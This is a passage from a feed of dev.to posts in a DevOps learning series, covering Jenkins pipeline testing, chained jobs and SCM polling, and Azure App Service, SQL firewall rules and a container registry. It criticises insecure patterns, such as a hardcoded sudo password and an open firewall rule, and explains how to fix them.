&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That &lt;code&gt;exit 1&lt;/code&gt; runs inside a subshell, because of the parentheses, so it exits the subshell rather than the script. The build still fails, but only because the &lt;code&gt;||&lt;/code&gt; list is the last command in the script and so its status becomes the script's. Move the curl anywhere, but the end and a failed check goes green. Braces fix it regardless of position:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--fail&lt;/span&gt; &lt;span class="nt"&gt;--silent&lt;/span&gt; &lt;span class="nt"&gt;--show-error&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$APP_URL&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'APPLICATION IS DOWN'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;exit &lt;/span&gt;1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A Test stage whose failure path works by accident of line ordering is worse than no Test stage, because it reports success instead of nothing.&lt;/p&gt;

&lt;p&gt;Second, &lt;code&gt;--fail --silent --show-error&lt;/code&gt; is genuinely the right combination and worth knowing as a set: &lt;code&gt;--fail&lt;/code&gt; turns an HTTP error status into a non-zero exit, &lt;code&gt;--silent&lt;/code&gt; kills the progress meter, and &lt;code&gt;--show-error&lt;/code&gt; puts the error message back so a failure says something.&lt;/p&gt;

&lt;p&gt;Third, the &lt;code&gt;sleep 5&lt;/code&gt;. It is honest about a real problem and solves it the way Days 22 and 23 argued against. A fixed sleep tuned to one run wastes time on a fast one and fails on a slow one. A retry loop around the curl waits on the condition instead.&lt;/p&gt;

&lt;p&gt;And the URLs do not belong in the file. That hostname is session-specific, so a new lab brings a new one, and this pipeline then fails in the Test stage against a host that no longer resolves, which reads like an application outage. &lt;code&gt;REPO_URL&lt;/code&gt; is declared and never used, too, since the Deploy stage pulls from whatever remote the existing working copy has. Same shape as Day 80's unused plugin: configuration that looks load-bearing and is not.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 2: A Python web app
&lt;/h2&gt;

&lt;p&gt;The task: a Python web app on a B1 Linux App Service Plan, with two tags and without Application Insights.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: The error with the blank field
&lt;/h3&gt;

&lt;p&gt;The first two labs both failed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Operation cannot be completed without additional quota.
Additional details - Location:
Current Limit (B1 VMs): 0
Current Usage: 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;East US appeared in &lt;code&gt;az appservice list-locations --sku B1&lt;/code&gt;, so the SKU was offered there. The limit was zero anyway.&lt;/p&gt;

&lt;p&gt;I read that blank &lt;code&gt;Location:&lt;/code&gt; field as evidence the limit was subscription-wide. I said trying another region would "most likely give the same message", and recommended reporting the lab as broken rather than running the one diagnostic I had just finished writing out.&lt;/p&gt;

&lt;p&gt;B1 was created immediately in South Central US. The quota was regional. East US was exhausted.&lt;/p&gt;

&lt;p&gt;The mistake was reasoning from an empty field. A blank &lt;code&gt;Location&lt;/code&gt; means the message template did not populate it, not that the limit has no regional scope. When an error omits the field that would tell you its scope, test the scope rather than inferring it. The test was one command and I talked straight past it.&lt;/p&gt;

&lt;p&gt;Which is today's other half, in the opposite direction. The Test stage reads a 200 as evidence of a successful deployment, which it is not. I read an absence as evidence of scope, which it was not. Both are conclusions drawn from something that was never saying what it looked like it was saying.&lt;/p&gt;

&lt;p&gt;The related judgment was wrong in effect too. I listed every workaround as breaking a requirement, which was true of SKU changes and would have been true of a region change if East US were mandatory. Presenting that as "stop and report" closed off the option that worked.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Plan and app are different things
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az appservice plan create &lt;span class="nt"&gt;-n&lt;/span&gt; devops-learn-python &lt;span class="nt"&gt;--sku&lt;/span&gt; B1 &lt;span class="nt"&gt;--is-linux&lt;/span&gt;
az webapp create &lt;span class="nt"&gt;-n&lt;/span&gt; devops-webapp-347137090 &lt;span class="nt"&gt;-p&lt;/span&gt; devops-learn-python &lt;span class="nt"&gt;--runtime&lt;/span&gt; &lt;span class="s2"&gt;"PYTHON:3.10"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The plan is the compute: VM size, OS, region, and the thing that gets billed. The app is a workload running on it, and one plan can host several apps sharing its CPU and memory.&lt;/p&gt;

&lt;p&gt;Two properties are fixed when you create the plan. The OS, where &lt;code&gt;--is-linux&lt;/code&gt; produces &lt;code&gt;reserved: true&lt;/code&gt;, and a Windows plan cannot host a Linux Python app. And the region, which the plan and every app on it inherit.&lt;/p&gt;

&lt;p&gt;The SKU can change later with &lt;code&gt;az appservice plan update --sku&lt;/code&gt;. Worth setting beside Day 79's finding that an ACR tier moves freely in either direction with no downtime: here one dimension scales and two are decided once.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;reserved: true&lt;/code&gt; meaning "Linux" is a genuinely unhelpful field name. The app's &lt;code&gt;kind: app,linux&lt;/code&gt; says it readably.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Two syntaxes for one runtime value
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Format&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;az webapp create --runtime&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PYTHON:3.10&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;az webapp config set --linux-fx-version&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;`PYTHON\&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stored value&lt;/td&gt;
&lt;td&gt;{% raw %}`PYTHON\&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The reference confirms the colon form for create: {% raw %}&lt;code&gt;--runtime&lt;/code&gt; is "Canonicalised web runtime in the format of Framework:Version". The pipe form is what the API stores and what every read returns, so passing a colon to &lt;code&gt;--linux-fx-version&lt;/code&gt; sets a literal string that matches no runtime.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;az webapp list-runtimes&lt;/code&gt; prints the colon form, because it exists to feed &lt;code&gt;--runtime&lt;/code&gt;. One thing worth knowing before trusting it: its &lt;code&gt;--support&lt;/code&gt; parameter accepts &lt;code&gt;{active, all, eol, near, supported}&lt;/code&gt; and defaults to &lt;code&gt;supported&lt;/code&gt;, so end-of-life runtimes are hidden. A version that worked last year may simply not be listed, and &lt;code&gt;--support all&lt;/code&gt; is how you tell a retired runtime from a typo.&lt;/p&gt;

&lt;p&gt;One correction to my notes while I was in there. I had used &lt;code&gt;--deployment-container-image-name&lt;/code&gt; as the container-mode flag. The CLI now marks it deprecated: "Option '--deployment-container-image-name' has been deprecated and will be removed in a future release." The point survives, since there is still no publish-mode flag and the mode is still inferred from which argument you pass. Only the flag name was stale.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;Read configuration from the command whose job it is. The &lt;code&gt;az webapp create&lt;/code&gt; output said:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"linuxFxVersion"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"pythonVersion"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which looks like the runtime did not apply. It did:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az webapp config show &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nv"&gt;$rg&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; devops-webapp-347137090 &lt;span class="nt"&gt;--query&lt;/span&gt; linuxFxVersion
PYTHON|3.10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The create response returns a sparse &lt;code&gt;siteConfig&lt;/code&gt;, with most fields unpopulated regardless of their real values. Third time this has caught me in the Azure track, after Day 18's missing &lt;code&gt;contentMd5&lt;/code&gt; and Day 29's null &lt;code&gt;Tags&lt;/code&gt;. The response shape belongs to the command, not the resource.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pythonVersion&lt;/code&gt; being empty is correct rather than contradictory: it is the Windows stack field, and Linux apps express their whole runtime through &lt;code&gt;linuxFxVersion&lt;/code&gt;. A check written against it would conclude no Python runtime was configured.&lt;/p&gt;

&lt;p&gt;And verifying an absence takes two lookups, not one. App Insights leaves two traces, an instrumentation key in app settings and a &lt;code&gt;microsoft.insights/components&lt;/code&gt; resource, so confirming it is off means enumerating both. Same reason as Day 27's NSG rule listing: when the requirement is that something is not present, you have to look at what exists rather than confirm what you intended.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;Two conclusions drawn from things that were not evidence.&lt;/p&gt;

&lt;p&gt;The pipeline's Test stage is the one I would want to find before trusting it. It passes, it is named Test, it sits after a Deploy stage, and it would report success if the deployment had silently done nothing, because all it establishes is that Apache answers on a port. The walkthrough then checks the real thing by hand, in a browser, and does not notice that this is the actual test and the pipeline is not doing it.&lt;/p&gt;

&lt;p&gt;My quota error was the same mistake with the parts swapped. A field was blank, and I treated the blankness as a fact about the quota rather than a fact about the message template. One command would have settled it, I had already written the command out, and I argued for giving up instead.&lt;/p&gt;

&lt;p&gt;Both are the same habit seen twice: deciding what something means before checking what it says.&lt;/p&gt;

&lt;p&gt;So here is the Day 81 question. Which of your tests would still pass if the thing it runs after had quietly done nothing at all?&lt;/p&gt;

&lt;p&gt;Day 81 down. Nineteen to go.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>jenkins</category>
      <category>azure</category>
      <category>cicd</category>
    </item>
    <item>
      <title>Day 80: Two Chained Jobs and One Firewall Rule</title>
      <dc:creator>Nnamdi Felix Ibe</dc:creator>
      <pubDate>Sat, 07 Nov 2026 18:00:00 +0000</pubDate>
      <link>https://dev.to/ndcodes/day-80-two-chained-jobs-and-one-firewall-rule-5dai</link>
      <guid>https://dev.to/ndcodes/day-80-two-chained-jobs-and-one-firewall-rule-5dai</guid>
      <description>&lt;p&gt;Day 80 of DevOps, Day 30 of Azure. Both tasks today put a credential somewhere it did not belong, and in both cases the documented way out was one setting away.&lt;/p&gt;

&lt;p&gt;A Jenkins job types a server password into a shell command, three times, in plain text. And an Azure SQL server ends up open to the internet with its admin password as the only thing in the way, behind a firewall rule whose notation means something other than it appears to.&lt;/p&gt;

&lt;p&gt;One Jenkins task, one Azure task. Chain two jobs so a restart follows a deployment, then create a managed SQL database. The tasks come from the KodeKloud Engineer platform.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 1: Two jobs, chained
&lt;/h2&gt;

&lt;p&gt;The task: &lt;code&gt;nautilus-app-deployment&lt;/code&gt; pulls the latest code into &lt;code&gt;/var/www/html&lt;/code&gt;, and &lt;code&gt;manage-services&lt;/code&gt; restarts &lt;code&gt;httpd&lt;/code&gt; afterwards.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: The chaining is the good part
&lt;/h3&gt;

&lt;p&gt;Splitting this into two jobs is right, and worth saying before the rest of this section pulls the implementation apart.&lt;/p&gt;

&lt;p&gt;Deploy and restart are separate concerns with separate failure modes. Chained, the restart does not run on a failed deployment, and &lt;code&gt;manage-services&lt;/code&gt; can be triggered on its own when that is all you need.&lt;/p&gt;

&lt;p&gt;Jenkins does not document the post-build action that does it. The "Build other projects" action, and the upstream and downstream relationship it creates, has no page under jenkins.io that I could find. Fourth day in this batch where the classic UI feature a task asks for is undocumented, after the Execute shell step, freestyle parameters, and the entire node configuration form.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: One plugin that does nothing
&lt;/h3&gt;

&lt;p&gt;The prerequisites list three plugins, and one of them never gets used.&lt;/p&gt;

&lt;p&gt;Publish Over SSH is described as "Send build artifacts over SSH". Everything it adds targets an SSH server defined under Manage Jenkins and Configure System, where each server needs "a name, hostname, username, and remote directory".&lt;/p&gt;

&lt;p&gt;None of that was configured, and nothing in either job references it. The chaining uses the post-build action, and both jobs run their commands through Execute shell on the &lt;code&gt;stapp01&lt;/code&gt; agent.&lt;/p&gt;

&lt;p&gt;Which is correct, and it is Day 75's work paying off: once the agent runs on the target server, a tool for reaching that server from somewhere else is redundant. The walkthrough's stated reason for installing it is an accurate description of the plugin. It is just not what this task needs.&lt;/p&gt;

&lt;p&gt;Worth noticing as the mechanism by which plugin lists grow. Three installed, two used, and nothing ever says which is which.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: The password, three times
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# nautilus-app-deployment&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'app-server-password'&lt;/span&gt; | &lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-S&lt;/span&gt; git config &lt;span class="nt"&gt;--global&lt;/span&gt; &lt;span class="nt"&gt;--add&lt;/span&gt; safe.directory /var/www/html
&lt;span class="nb"&gt;cd&lt;/span&gt; /var/www/html
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'app-server-password'&lt;/span&gt; | &lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-S&lt;/span&gt; git &lt;span class="nt"&gt;-C&lt;/span&gt; /var/www/html pull origin master

&lt;span class="c"&gt;# manage-services&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'app-server-password'&lt;/span&gt; | &lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-S&lt;/span&gt; systemctl restart httpd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sudo -S&lt;/code&gt; is documented and does exactly what it is being used for: "Write the prompt to the standard error and read the password from the standard input instead of using the terminal device", with "The password must be followed by a newline character", which &lt;code&gt;echo&lt;/code&gt; supplies. Sudo's own manual attaches no security warning to the flag, and I would rather say that than imply one exists.&lt;/p&gt;

&lt;p&gt;The problem is not the flag. The build step lives in the job's &lt;code&gt;config.xml&lt;/code&gt;, and anyone with Job/Configure on either job can read it in a browser. Day 73 granted Job/Configure on a job to two users, and nothing in the permission grid suggested that was a credential handover.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;Here is what makes this worth more than "don't put passwords in jobs." The password is the fourth consequence of one unfixed thing, and you can watch the chain form.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/var/www/html&lt;/code&gt; is not writable by &lt;code&gt;tony&lt;/code&gt;. So the job uses &lt;code&gt;sudo&lt;/code&gt;. So the password goes into the build step. So git refuses to work in a repository owned by a different user than the one running it, because &lt;code&gt;sudo&lt;/code&gt; guarantees that mismatch. So a &lt;code&gt;safe.directory&lt;/code&gt; entry gets added to silence it.&lt;/p&gt;

&lt;p&gt;Four consequences, one cause. Day 79's walkthrough solved the same underlying problem by checking the directory was owned by the job's user. Day 77's assumed it. This one escalates instead, and then spends three more lines managing the escalation.&lt;/p&gt;

&lt;p&gt;One &lt;code&gt;chown -R tony /var/www/html&lt;/code&gt;, by hand, once, and the jobs become:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git &lt;span class="nt"&gt;-C&lt;/span&gt; /var/www/html pull origin master
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No sudo, no password, no &lt;code&gt;safe.directory&lt;/code&gt;. (I could not retrieve git's own wording for that setting this time, so I am reading its purpose from the fact that the command is there at all: it would not be needed if the ownership matched.)&lt;/p&gt;

&lt;p&gt;If the ownership genuinely cannot change, the second-best answer is a sudoers rule that needs no password, scoped to the two commands. Which is what Days 71 and 74 were quietly relying on without my noticing it was a design decision rather than a lab convenience. The third is a Jenkins credential binding, so the secret sits in the credential store behind its own permissions rather than in the job text.&lt;/p&gt;

&lt;p&gt;Two smaller things in the same four lines. &lt;code&gt;cd /var/www/html&lt;/code&gt; does nothing, because &lt;code&gt;git -C&lt;/code&gt; already names the directory. And &lt;code&gt;sudo -n&lt;/code&gt; would answer the question the password pipe is working around: it is documented to "Avoid prompting the user for input of any kind", and "If a password is required for the command to run, sudo will display an error message and exit." Run it once with &lt;code&gt;-n&lt;/code&gt;, and you find out whether &lt;code&gt;tony&lt;/code&gt; needed a password at all.&lt;/p&gt;

&lt;p&gt;One last consequence of leaving it as written. &lt;code&gt;git pull&lt;/code&gt; under &lt;code&gt;sudo&lt;/code&gt; runs as root, so the files it writes into the document root become root-owned, and any later attempt to deploy without &lt;code&gt;sudo&lt;/code&gt; fails. The escalation reinforces itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 2: A managed SQL database
&lt;/h2&gt;

&lt;p&gt;The task: a Basic-tier database on a new logical server, 2 GiB, locally-redundant backups, publicly accessible.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: The server is not a server
&lt;/h3&gt;

&lt;p&gt;An Azure SQL server is a logical container. It holds databases, the administrator login and the firewall rules, and it has no CPU, no memory, no patching, and no cost of its own. Billing is per database.&lt;/p&gt;

&lt;p&gt;Different shape from AWS RDS on Day 31, where the instance is the billable compute and the thing you size:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;AWS RDS&lt;/th&gt;
&lt;th&gt;Azure SQL&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Billable unit&lt;/td&gt;
&lt;td&gt;The instance&lt;/td&gt;
&lt;td&gt;Each database&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sizing applies to&lt;/td&gt;
&lt;td&gt;The instance&lt;/td&gt;
&lt;td&gt;Each database&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network control&lt;/td&gt;
&lt;td&gt;Security group&lt;/td&gt;
&lt;td&gt;Server-level firewall rules&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;So two databases on one Azure SQL server are sized and billed independently. Two on one RDS instance share its compute.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Three layers, not two
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"publicNetworkAccess"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Enabled"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That only means the endpoint exists. By default, the server-level firewall "blocks all access to the public endpoint for the logical server", so the server would be reachable in name and unusable in fact.&lt;/p&gt;

&lt;p&gt;I had written this up as two independent layers, the same shape as blob privacy on Day 16. There is a third, and Microsoft puts it in one sentence that is easy to read past: "Creating a firewall setting only allows clients to try to connect to your server. The client must still provide the necessary security credentials."&lt;/p&gt;

&lt;p&gt;Endpoint enabled, source permitted, credentials accepted. The rule this task needed opens the middle one to the entire internet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;--start-ip-address&lt;/span&gt; 0.0.0.0 &lt;span class="nt"&gt;--end-ip-address&lt;/span&gt; 255.255.255.255
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which leaves the admin password as the only remaining control. Same position as the Jenkins job, arrived at from the other direction.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: The rule that means something else
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rule&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;0.0.0.0&lt;/code&gt; to &lt;code&gt;255.255.255.255&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;The entire internet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;0.0.0.0&lt;/code&gt; to &lt;code&gt;0.0.0.0&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Allow Azure services and resources to access this server&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The second is not a single-address rule. Microsoft: "To allow applications hosted inside Azure to connect to your SQL server, you need to enable Azure connections. To do this, create a firewall rule with starting and ending IP addresses set to 0.0.0.0." The portal toggle creates the same thing, named &lt;code&gt;AllowAllWindowsAzureIps&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I had noted that it permits resources in any subscription. Microsoft's own warning is sharper, and the scope is wider than the toggle's label suggests: "Enabling this option allows connections from all Azure services, including services running in other customers' subscriptions. This rule doesn't restrict access to your subscription or resource group."&lt;/p&gt;

&lt;p&gt;One detail I had missed, and it is the reassuring one: "By default, during creation of a new logical SQL server from the Azure portal, the Allow Azure Services and resources to access this server setting is set to No." Off unless asked for, which is the right default.&lt;/p&gt;

&lt;p&gt;For anything real, Microsoft names the alternatives: "consider using virtual network service endpoints or private endpoints instead of the AllowAllWindowsAzureIps rule."&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;Basic is at its ceiling here in more than one dimension, and the one I had not recorded is the one that would matter.&lt;/p&gt;

&lt;p&gt;5 DTUs maximum, 2 GB maximum storage. So asking for 2 GiB is asking for the largest database the tier allows, not a modest allocation.&lt;/p&gt;

&lt;p&gt;And the backup window: Basic gets "1-7 day retention (default 7 days)", where Standard and Premium both offer "1-35 day retention". Long-term retention up to 10 years is available on all three.&lt;/p&gt;

&lt;p&gt;Set that beside the backup redundancy this task asked for. &lt;code&gt;Local&lt;/code&gt; is locally-redundant, three copies in one datacentre, and the only option that loses backups in a datacentre failure. So this database's recovery story is one week of backups, in one building. Both halves of that were requirements rather than choices, and together they are worth seeing as a whole.&lt;/p&gt;

&lt;p&gt;One correction to my own note. I had written that vCore is "the current recommendation for anything real". Microsoft does not say that. The DTU model is described as "best suited for most customers with typical workloads", and vCore is presented as an alternative with features DTU lacks, such as Serverless and Hyperscale, plus control over hardware configuration. Preferring to reason about compute and storage separately is a fair argument. It is mine, not Microsoft's.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;Both tasks ended with a password as the last line of defence, and in both cases that was a consequence of something earlier rather than a decision anyone made.&lt;/p&gt;

&lt;p&gt;The Jenkins one is the clearer lesson because you can follow the chain. The directory had the wrong owner. Everything after that, the sudo, the password in plain text, the git ownership workaround, exists to work around the first thing. Nobody decided to put a credential in a job. They decided not to run &lt;code&gt;chown&lt;/code&gt;, and four lines later there is a password in a file two people can read.&lt;/p&gt;

&lt;p&gt;The Azure one is a notation trap on top of a real exposure. &lt;code&gt;0.0.0.0&lt;/code&gt; to &lt;code&gt;0.0.0.0&lt;/code&gt; looks like the narrowest rule you could write and is one of the broadest, and the thing I had under-stated is how broad: all Azure services, in anyone's subscription. Meanwhile, the rule this task did ask for opens the server to the internet, and the Basic tier caps the backups that would get you out of trouble at seven days in one datacentre.&lt;/p&gt;

&lt;p&gt;So here is the Day 80 question. The last credential you found hardcoded somewhere: what was it working around, and is that still true?&lt;/p&gt;

&lt;p&gt;Day 80 down. Twenty to go.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>jenkins</category>
      <category>azure</category>
      <category>cicd</category>
    </item>
    <item>
      <title>Day 79: Polling and a Registry</title>
      <dc:creator>Nnamdi Felix Ibe</dc:creator>
      <pubDate>Fri, 06 Nov 2026 18:00:00 +0000</pubDate>
      <link>https://dev.to/ndcodes/day-79-polling-and-a-registry-5b39</link>
      <guid>https://dev.to/ndcodes/day-79-polling-and-a-registry-5b39</guid>
      <description>&lt;p&gt;Day 79 of DevOps, Day 29 of Azure. Both tasks today turned out to run somewhere other than where the configuration implied.&lt;/p&gt;

&lt;p&gt;A Jenkins job set up to build on an agent polls the repository from the controller, which is the machine the last four days have been about getting work off. And a container image meant to be built by the registry got built on the lab host instead, because the permission for the server-side build was missing.&lt;/p&gt;

&lt;p&gt;One Jenkins task, one Azure task. Make a job trigger itself on a commit, then create a container registry and push an image to it. The tasks come from the KodeKloud Engineer platform.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 1: A job that triggers itself
&lt;/h2&gt;

&lt;p&gt;The task: a job named &lt;code&gt;datacenter-app-deployment&lt;/code&gt;, running on the &lt;code&gt;stapp01&lt;/code&gt; agent, triggered when a commit lands on &lt;code&gt;master&lt;/code&gt;, updating &lt;code&gt;/var/www/html&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Check the ownership first
&lt;/h3&gt;

&lt;p&gt;Check that &lt;code&gt;/var/www/html&lt;/code&gt; is owned by &lt;code&gt;sarah&lt;/code&gt; before relying on it.&lt;/p&gt;

&lt;p&gt;Small step, worth naming, because this batch answers one question three different ways. Day 77 assumed the agent's user could write to the document root. This day verifies it. Day 80 gives up and uses &lt;code&gt;sudo&lt;/code&gt; with a password in the build step. The cheapest of the three is the one that just looks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Poll SCM, described accurately
&lt;/h3&gt;

&lt;p&gt;My own note's explanation is correct and names the limitation, which is more than a lot of tutorials manage. Jenkins "periodically checks the source code repository (SCM = Source Code Management) for changes. It does not continuously listen for pushes like a webhook."&lt;/p&gt;

&lt;p&gt;The documentation agrees: the trigger "Accepts a cron-style string to define a regular interval at which Jenkins should check for new source changes."&lt;/p&gt;

&lt;p&gt;Two minutes, in this case. And it worked, verified the right way, by pushing a real commit and watching the build fire on its own:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;sarah@stapp01 web]&lt;span class="nv"&gt;$ &lt;/span&gt;git push origin master
To http://gitea:3000/sarah/web.git
   4d0f926..6ff653e  master -&amp;gt; master
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The schedule should be &lt;code&gt;H/2 * * * *&lt;/code&gt; rather than &lt;code&gt;*/2 * * * *&lt;/code&gt;, for Day 74's reason: &lt;code&gt;H&lt;/code&gt; "should be used wherever possible" and is "a hash of the job name, not a random function", so it spreads load without becoming unpredictable. With a six-minute log copy from Day 74 and a ten-minute backup from Day 76 already on round intervals, all three will eventually fire together.&lt;/p&gt;

&lt;p&gt;Jenkins also warns about short cycles specifically: "short cycles such as &lt;code&gt;*/3&lt;/code&gt; or &lt;code&gt;H/3&lt;/code&gt; will not work consistently near the end of most months", because "Hashes are always chosen in the 1-28 range". Two minutes is shorter still.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Notice where the polling happens
&lt;/h3&gt;

&lt;p&gt;This is the part my notes do not mention, and it quietly undoes the point of the last four days.&lt;/p&gt;

&lt;p&gt;The git plugin: "By default, the plugin polls by executing a polling process or thread on the Jenkins controller."&lt;/p&gt;

&lt;p&gt;So the build runs on &lt;code&gt;stapp01&lt;/code&gt;. The thing that decides every two minutes whether to run it runs on the Jenkins machine. Days 75 through 78 were all about moving work off the controller, for the reason Jenkins gives directly: "running tasks on the built-in node is discouraged for security, performance, and scalability reasons." Adding an agent moves the build. It does not move the trigger.&lt;/p&gt;

